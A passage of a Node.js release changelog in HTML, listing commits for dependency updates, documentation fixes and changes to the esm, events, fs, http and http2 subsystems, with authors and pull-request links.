<li>[<a href="https://github.com/nodejs/node/commit/bef1949823"><code>bef1949823</code></a>] - <strong>deps</strong>: V8: cherry-pick 33e7739c134d (Thibaud Michaud) <a href="https://github.com/nodejs/node/pull/62567" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62567/hovercard">#62567</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e1a565a55"><code>2e1a565a55</code></a>] - <strong>deps</strong>: update ada to 3.4.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62414/hovercard">#62414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0418bad10"><code>d0418bad10</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53aad66415"><code>53aad66415</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90fab71a84"><code>90fab71a84</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a416ddf6d9"><code>a416ddf6d9</code></a>] - <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/62449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62449/hovercard">#62449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d9123e57d"><code>4d9123e57d</code></a>] - <strong>deps</strong>: upgrade npm to 11.12.1 (npm team) <a href="https://github.com/nodejs/node/pull/62448" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62448/hovercard">#62448</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/952d715028"><code>952d715028</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3fd7ed426"><code>f3fd7ed426</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71a2f82d7c"><code>71a2f82d7c</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.1 (npm team) <a href="https://github.com/nodejs/node/pull/62216" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62216/hovercard">#62216</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84f60c26f7"><code>84f60c26f7</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43159d0e5f"><code>43159d0e5f</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b887657b38"><code>b887657b38</code></a>] - <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/62136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62136/hovercard">#62136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ab885b323"><code>7ab885b323</code></a>] - <strong>deps</strong>: update ada to 3.4.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62049/hovercard">#62049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/671ddec2b9"><code>671ddec2b9</code></a>] - <strong>deps</strong>: update minimatch to 10.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62016/hovercard">#62016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/290fe37d4d"><code>290fe37d4d</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a13bee76b5"><code>a13bee76b5</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0e40b35b9"><code>f0e40b35b9</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/463dfa023a"><code>463dfa023a</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b2e4bb108"><code>4b2e4bb108</code></a>] - <strong>deps</strong>: update nbytes to 0.1.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61879/hovercard">#61879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5626cb83d0"><code>5626cb83d0</code></a>] - <strong>deps</strong>: remove stale OpenSSL arch configs (René) <a href="https://github.com/nodejs/node/pull/61834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61834/hovercard">#61834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52668874fd"><code>52668874fd</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3387b07b1"><code>b3387b07b1</code></a>] - <strong>deps</strong>: update googletest to 5a9c3f9e8d9b90bbbe8feb32902146cb8f7c1757 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61731/hovercard">#61731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/196268cb4c"><code>196268cb4c</code></a>] - <strong>deps</strong>: V8: cherry-pick c5ff7c4d6cde (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61372/hovercard">#61372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36869b52de"><code>36869b52de</code></a>] - <strong>deps</strong>: update merve to 1.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62213/hovercard">#62213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cbac055de"><code>3cbac055de</code></a>] - <strong>deps</strong>: update merve to 1.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62149" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62149/hovercard">#62149</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7757cc3495"><code>7757cc3495</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61670/hovercard">#61670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/359797c2fb"><code>359797c2fb</code></a>] - <strong>deps,src</strong>: prepare for cpplint update (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ace802e59b"><code>ace802e59b</code></a>] - <strong>diagnostics_channel</strong>: add diagnostics channels for web locks (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62123/hovercard">#62123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a072411b03"><code>a072411b03</code></a>] - <strong>doc</strong>: remove spawn with shell example from bat/cmd section (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62243/hovercard">#62243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b152449af"><code>0b152449af</code></a>] - <strong>doc</strong>: fix typo in --disable-wasm-trap-handler description (Dmytro Semchuk) <a href="https://github.com/nodejs/node/pull/61820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61820/hovercard">#61820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73ea387ad7"><code>73ea387ad7</code></a>] - <strong>doc</strong>: remove obsolete Boxstarter automated install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61785" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61785/hovercard">#61785</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f234add8e"><code>7f234add8e</code></a>] - <strong>doc</strong>: deprecate <code>module.register()</code> (DEP0205) (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62395/hovercard">#62395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12fc3c6a30"><code>12fc3c6a30</code></a>] - <strong>doc</strong>: clarify that features cannot be both experimental and deprecated (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62456" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62456/hovercard">#62456</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ecc5962a2"><code>1ecc5962a2</code></a>] - <strong>doc</strong>: fix 'transfered' typo in quic.md (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62492/hovercard">#62492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56741a1303"><code>56741a1303</code></a>] - <strong>doc</strong>: move sqlite type conversion section to correct level (René) <a href="https://github.com/nodejs/node/pull/62482" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62482/hovercard">#62482</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12b04d17d5"><code>12b04d17d5</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4567e4a8d"><code>c4567e4a8d</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/384a41047f"><code>384a41047f</code></a>] - <strong>doc</strong>: enhance clarification about the main field (Mowafak Almahaini) <a href="https://github.com/nodejs/node/pull/62302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62302/hovercard">#62302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93d19b1a1c"><code>93d19b1a1c</code></a>] - <strong>doc</strong>: minor typo fix (Jeff Matson) <a href="https://github.com/nodejs/node/pull/62358" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62358/hovercard">#62358</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3db35d2c59"><code>3db35d2c59</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57b105c9d5"><code>57b105c9d5</code></a>] - <strong>doc</strong>: deprecate CryptoKey use in node:crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62321/hovercard">#62321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/490168c993"><code>490168c993</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0291be584b"><code>0291be584b</code></a>] - <strong>doc</strong>: test and test-only targets do not run linter (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/62120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62120/hovercard">#62120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba0a82a1e1"><code>ba0a82a1e1</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/125bdbf504"><code>125bdbf504</code></a>] - <strong>doc</strong>: clarify that any truthy value of <code>shell</code> is part of DEP0190 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62249/hovercard">#62249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a141ad0aeb"><code>a141ad0aeb</code></a>] - <strong>doc</strong>: remove outdated Chrome 66 and ndb references from debugger (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62202/hovercard">#62202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44bde8e573"><code>44bde8e573</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c46a1ca1a"><code>8c46a1ca1a</code></a>] - <strong>doc</strong>: copyedit <code>addons.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62071/hovercard">#62071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f989f02f7"><code>7f989f02f7</code></a>] - <strong>doc</strong>: correct <code>util.convertProcessSignalToExitCode</code> validation behavior (René) <a href="https://github.com/nodejs/node/pull/62134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62134/hovercard">#62134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4466ebdac"><code>a4466ebdac</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db516eca3a"><code>db516eca3a</code></a>] - <strong>doc</strong>: fix markdown for <code>expectFailure</code> values (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62100/hovercard">#62100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad97045125"><code>ad97045125</code></a>] - <strong>doc</strong>: include url.resolve() in DEP0169 application deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/62002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62002/hovercard">#62002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/309f37ba42"><code>309f37ba42</code></a>] - <strong>doc</strong>: expand SECURITY.md with non-vulnerability examples (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61972/hovercard">#61972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3551b7b"><code>dbb3551b7b</code></a>] - <strong>doc</strong>: separate in-types and out-types in SQLite conversion docs (René) <a href="https://github.com/nodejs/node/pull/62034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62034/hovercard">#62034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/191c433db8"><code>191c433db8</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8511b1c784"><code>8511b1c784</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd1139f52c"><code>dd1139f52c</code></a>] - <strong>doc</strong>: update DEP0040 (punycode) to application type deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61916/hovercard">#61916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54009e9c62"><code>54009e9c62</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78fa1a1a49"><code>78fa1a1a49</code></a>] - <strong>doc</strong>: support toolchain Visual Studio 2022 &amp; 2026 + Windows 11 SDK (Mike McCready) <a href="https://github.com/nodejs/node/pull/61864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61864/hovercard">#61864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8204d3cdb"><code>d8204d3cdb</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a5a14482fb"><code>a5a14482fb</code></a>] - <strong>doc</strong>: clarify status of feature request issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61505/hovercard">#61505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd0688feb6"><code>bd0688feb6</code></a>] - <strong>doc</strong>: add esm and cjs examples to node:vm (Alfredo González) <a href="https://github.com/nodejs/node/pull/61498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61498/hovercard">#61498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/240b512f9f"><code>240b512f9f</code></a>] - <strong>doc</strong>: clarify build environment is trusted in threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61865" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61865/hovercard">#61865</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5dd48e3456"><code>5dd48e3456</code></a>] - <strong>doc</strong>: remove incorrect mention of <code>module</code> in <code>typescript.md</code> (Rob Palmer) <a href="https://github.com/nodejs/node/pull/61839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61839/hovercard">#61839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9502c22055"><code>9502c22055</code></a>] - <strong>doc</strong>: simplify addAbortListener example (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/61842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61842/hovercard">#61842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fec397828"><code>6fec397828</code></a>] - <strong>doc</strong>: clean up globals.md (René) <a href="https://github.com/nodejs/node/pull/61822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61822/hovercard">#61822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a810f5ccef"><code>a810f5ccef</code></a>] - <strong>doc</strong>: clarify async caveats for <code>events.once()</code> (René) <a href="https://github.com/nodejs/node/pull/61572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61572/hovercard">#61572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bf990bb1a"><code>2bf990bb1a</code></a>] - <strong>doc</strong>: update Juan's security steward info (Juan José) <a href="https://github.com/nodejs/node/pull/61754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61754/hovercard">#61754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0312db948d"><code>0312db948d</code></a>] - <strong>doc</strong>: fix methods being documented as properties in <code>process.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61765/hovercard">#61765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e558b26e7f"><code>e558b26e7f</code></a>] - <strong>doc</strong>: add riscv64 info into platform list (Lu Yahan) <a href="https://github.com/nodejs/node/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/42251/hovercard">#42251</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/49254e3dc0"><code>49254e3dc0</code></a>] - <strong>doc</strong>: fix dropdown menu being obscured at &lt;600px due to stacking context (Jeff) <a href="https://github.com/nodejs/node/pull/61735" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61735/hovercard">#61735</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ff01b5c10"><code>4ff01b5c10</code></a>] - <strong>doc</strong>: fix spacing in process message event (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61756/hovercard">#61756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94097a79d6"><code>94097a79d6</code></a>] - <strong>doc</strong>: move describe/it aliases section before expectFailure (Luca Raveri) <a href="https://github.com/nodejs/node/pull/61567" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61567/hovercard">#61567</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7cd31acbe"><code>b7cd31acbe</code></a>] - <strong>doc</strong>: fix broken links of net.md (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/61673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61673/hovercard">#61673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae5e353fe2"><code>ae5e353fe2</code></a>] - <strong>doc</strong>: clean up Windows code snippet in <code>child_process.md</code> (reillylm) <a href="https://github.com/nodejs/node/pull/61422" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61422/hovercard">#61422</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea9beb6a3c"><code>ea9beb6a3c</code></a>] - <strong>doc</strong>: update to Visual Studio 2026 manual install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61655" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61655/hovercard">#61655</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42057c84e2"><code>42057c84e2</code></a>] - <strong>doc,module</strong>: add missing doc for syncHooks.deregister() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61959/hovercard">#61959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a035bd5235"><code>a035bd5235</code></a>] - <strong>doc,test</strong>: clarify --eval syntax for leading '-' scripts (kovan) <a href="https://github.com/nodejs/node/pull/62244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62244/hovercard">#62244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deb0b78460"><code>deb0b78460</code></a>] - <strong>esm</strong>: fix typo in worker loader hook comment (jakecastelli) <a href="https://github.com/nodejs/node/pull/62475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62475/hovercard">#62475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b93bf7dbfc"><code>b93bf7dbfc</code></a>] - <strong>esm</strong>: fix source phase identity bug in loadCache eviction (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62415/hovercard">#62415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/679d18b57f"><code>679d18b57f</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/171e9fc268"><code>171e9fc268</code></a>] - <strong>esm</strong>: update outdated FIXME comment in translators.js (Karan Mangtani) <a href="https://github.com/nodejs/node/pull/61715" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61715/hovercard">#61715</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc19728228"><code>cc19728228</code></a>] - <strong>events</strong>: avoid cloning listeners array on every emit (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62261/hovercard">#62261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/458c92be52"><code>458c92be52</code></a>] - <strong>events</strong>: don't call resume after close (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60548" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60548/hovercard">#60548</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4691f3e7fb"><code>4691f3e7fb</code></a>] - <strong>fs</strong>: fix cpSync to handle non-ASCII characters (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61950/hovercard">#61950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4a3edc47a"><code>f4a3edc47a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>throwIfNoEntry</code> option for fs.stat and fs.promises.stat (Juan José) <a href="https://github.com/nodejs/node/pull/61178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61178/hovercard">#61178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58e4d50cd0"><code>58e4d50cd0</code></a>] - <strong>http</strong>: fix use-after-free when freeParser is called during llhttp_execute (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62095/hovercard">#62095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a4ad85ab0"><code>0a4ad85ab0</code></a>] - <strong>http</strong>: validate ClientRequest path on set (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62030" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62030/hovercard">#62030</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f8178ac3e6"><code>f8178ac3e6</code></a>] - <strong>http</strong>: validate headers in writeEarlyHints (Richard Clarke) <a href="https://github.com/nodejs/node/pull/61897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61897/hovercard">#61897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/899884d0ed"><code>899884d0ed</code></a>] - <strong>http</strong>: remove redundant keepAliveTimeoutBuffer assignment (Efe) <a href="https://github.com/nodejs/node/pull/61743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61743/hovercard">#61743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08d2e40694"><code>08d2e40694</code></a>] - <strong>http</strong>: attach error handler to socket synchronously in onSocket (RajeshKumar11) <a href="https://github.com/nodejs/node/pull/61770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61770/hovercard">#61770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c2064c1f8"><code>1c2064c1f8</code></a>] - <strong>http</strong>: fix keep-alive socket reuse race in requestOnFinish (Martin Slota) <a href="https://github.com/nodejs/node/pull/61710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61710/hovercard">#61710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38e9c66e0f"><code>38e9c66e0f</code></a>] - <strong>http2</strong>: add strictSingleValueFields option to relax header validation (Tim Perry) <a href="https://github.com/nodejs/node/pull/59917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59917/hovercard">#59917</a></li>
